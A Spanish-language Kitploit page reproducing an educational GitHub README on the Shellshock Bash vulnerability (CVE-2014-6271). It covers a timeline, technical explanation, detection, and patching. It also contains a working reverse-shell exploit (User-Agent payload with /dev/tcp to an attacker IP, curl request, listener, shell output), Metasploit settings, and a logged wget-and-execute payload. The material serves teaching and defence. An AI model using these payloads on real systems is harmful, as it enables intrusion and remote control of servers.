Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
-CVE-2014-6271 — Repositorio educativo que detalla la vulnerabilidad Shellshock (CVE-2014-6271), incluyendo análisis técnico, vectores de ataque, explotación de prueba de concepto y pasos de mitigación para la inyección de variables de entorno de Bash. | Kitploit
Herramientas/GitHubGitHub/kaleth4/-cve-2014-6271
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónComando y ControlAprendizaje y Educación
GitHubkaleth4/-cve-2014-6271

-CVE-2014-6271

Repositorio educativo que detalla la vulnerabilidad Shellshock (CVE-2014-6271), incluyendo análisis técnico, vectores de ataque, explotación de prueba de concepto y pasos de mitigación para la inyección de variables de entorno de Bash.

Ver Repositorio
7hace 3 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
 ____  _   _ _____ _     _     ____  _   _  ___   ____ _  __
/ ___|| | | | ____| |   | |   / ___|| | | |/ _ \ / ___| |/ /
\___ \| |_| |  _| | |   | |   \___ \| |_| | | | | |   | ' / 
 ___) |  _  | |___| |___| |___ ___) |  _  | |_| | |___| . \ 
|____/|_| |_|_____|_____|_____|____/|_| |_|\___/ \____|_|\_\

CVE-2014-6271 — Shellshock

Remote Code Execution via Bash Environment Variable Injection

CVE CVSS Type Bash Status

"Una falla que estuvo oculta en Bash durante décadas y sacudió los cimientos de internet en menos de 24 horas."


Índice

  • ¿Qué es Shellshock?
  • Línea de tiempo
  • Sistemas afectados
  • Descripción técnica
  • PoC — Prueba de Concepto
  • Vectores de ataque
  • Explotación completa
  • Indicadores de compromiso
  • Mitigación
  • Disclaimer

❓ ¿Qué es Shellshock?

Shellshock (también conocido como Bashdoor) es una familia de vulnerabilidades críticas en el intérprete de comandos GNU Bash que permite a un atacante remoto ejecutar comandos arbitrarios en el sistema objetivo.

El error fundamental: Bash no detenía el análisis de una variable de entorno al finalizar la definición de una función. Cualquier código concatenado después de () { :; }; era ejecutado automáticamente.

Variable Env → Definición de función → [AQUÍ EJECUTA CÓDIGO EXTRA] ← BUG

Dado que servidores web (CGI/Apache), servicios SSH y clientes DHCP convierten headers o parámetros en variables de entorno de Bash, la superficie de ataque era masiva.


📅 Línea de Tiempo

12 Sep 2014 ──── Stéphane Chazelas descubre el bug y lo reporta a Chet Ramey (mantenedor de Bash)
                 El bug existía en Bash desde hacía más de 20 años.

24 Sep 2014 ──── Divulgación pública + publicación del parche (CVE-2014-6271)
                 Horas después: botnets activas escaneando internet masivamente.

25-30 Sep 2014 ── Descubiertas vulnerabilidades relacionadas:
                 CVE-2014-6277, CVE-2014-6278, CVE-2014-7169,
                 CVE-2014-7186, CVE-2014-7187

Oct 2014 ──────── Millones de ataques registrados. Comparado en severidad con Heartbleed.

💻 Sistemas Afectados

ProductoVersiones VulnerablesEstado
GNU Bash1.0.3 – 4.3Parcheado
Linux (Debian/Ubuntu/CentOS/RHEL)Versiones pre-Sept 2014Parcheado
Apple macOS / OS X10.10 y anterioresParcheado (Security Update 2014-005)
Dispositivos IoT con Bash embebidoMúltiplesVaría según fabricante
Servidores web con CGI sobre ApacheCualquier versión con Bash vulnerableParcheado

🔬 Descripción Técnica

El mecanismo del bug

Cuando Bash importa una función desde una variable de entorno, lee hasta el cierre } de la función. En versiones vulnerables, continuaba procesando el código posterior en lugar de detenerse.

# Variable de entorno maliciosa:
SHELLSHOCK='() { :; }; /bin/cat /etc/passwd'

# Bash vulnerable al inicializarse:
# 1. Lee la definición de función  → OK
# 2. Encuentra }; → debería parar
# 3. CONTINÚA → ejecuta /bin/cat /etc/passwd  ← BUG

Flujo del ataque vía CGI

Atacante                    Servidor Apache (CGI)              Bash (vulnerable)
   │                               │                                │
   │  HTTP Request                 │                                │
   │  User-Agent: () { :;}; cmd    │                                │
   │──────────────────────────────▶│                                │
   │                               │  Convierte headers a env vars  │
   │                               │  HTTP_USER_AGENT=() { :;}; cmd │
   │                               │───────────────────────────────▶│
   │                               │                                │ Ejecuta cmd
   │                               │                                │ como www-data
   │◀──────────────────────────────│◀───────────────────────────────│
   │  Respuesta + output del cmd   │                                │

🧪 PoC — Prueba de Concepto

Verificación básica de vulnerabilidad

env x='() { :;}; echo VULNERABLE' bash -c "echo this is a test"

Resultado en sistema VULNERABLE:

VULNERABLE
this is a test

Resultado en sistema PARCHEADO:

this is a test

(o un error de sintaxis — nunca imprime "VULNERABLE")


⚔️ Vectores de Ataque

1. CGI-BIN (más común)

Servidores web que usan scripts .cgi convierten los HTTP Headers en variables de entorno de Bash.

Headers afectados: User-Agent, Referer, Cookie, X-Forwarded-For, y cualquier header custom

2. SSH con ForceCommand

# Si el servidor tiene ForceCommand configurado, un atacante con clave válida puede bypassearlo
ssh user@target '() { :;}; /bin/bash'

3. Cliente DHCP

Servidores DHCP maliciosos pueden inyectar variables de entorno en clientes que usen Bash para procesar la respuesta DHCP.

4. Variables de entorno directas

# Cualquier proceso que herede variables de entorno y ejecute Bash
env VAR='() { :;}; comando_malicioso' bash -c "script_legítimo"

💀 Explotación Completa: Reverse Shell

Paso 1: Listener en máquina atacante

nc -lvnp 4444

Paso 2: Payload de reverse shell

# Payload que se inyecta en el User-Agent
() { :;}; /bin/bash -i >& /dev/tcp/IP_ATACANTE/4444 0>&1

Paso 3: Enviar la request maliciosa

curl -H "User-Agent: () { :;}; /bin/bash -i >& /dev/tcp/192.168.1.10/4444 0>&1" \
     http://sitio-vulnerable.com/cgi-bin/test.cgi

Paso 4: Shell obtenida

Connection received from 10.10.10.50
bash: no job control in this shell
sh-4.1$ id
uid=48(apache) gid=48(apache) groups=48(apache)

Módulo Metasploit

use exploit/multi/http/apache_mod_cgi_bash_env_exec
set RHOSTS <target>
set TARGETURI /cgi-bin/test.cgi
set LHOST <your_ip>
run

🔍 Indicadores de Compromiso (IOC)

En logs de Apache/Nginx

# Buscar el patrón característico en access.log
grep -E "\(\)\s*\{" /var/log/apache2/access.log

# Ejemplo de log malicioso:
# "() { :;}; wget http://malware.com/bot -O /tmp/x && chmod +x /tmp/x && /tmp/x"

Procesos sospechosos

# Procesos hijos de www-data/apache que no deberían existir
ps aux | grep www-data | grep -v grep
netstat -antup | grep ESTABLISHED

Indicadores en el sistema

- Nuevos archivos ejecutables en /tmp, /var/tmp, /dev/shm
- Conexiones salientes desde el servidor web a IPs desconocidas
- Modificación de /etc/crontab o /etc/passwd
- Procesos bash corriendo como www-data sin terminal

🛡️ Mitigación

Parche inmediato (PRIORIDAD CRÍTICA)

# Debian / Ubuntu
sudo apt-get update && sudo apt-get install --only-upgrade bash

# RHEL / CentOS / Fedora
sudo yum update bash

# Verificar versión parcheada (debe mostrar "patches")
bash --version
# GNU bash, version 4.3.30(1)-release → VULNERABLE
# GNU bash, version 4.3.33(1)-release → PARCHEADO (varía por distro)

Verificación post-parche

Descargar herramienta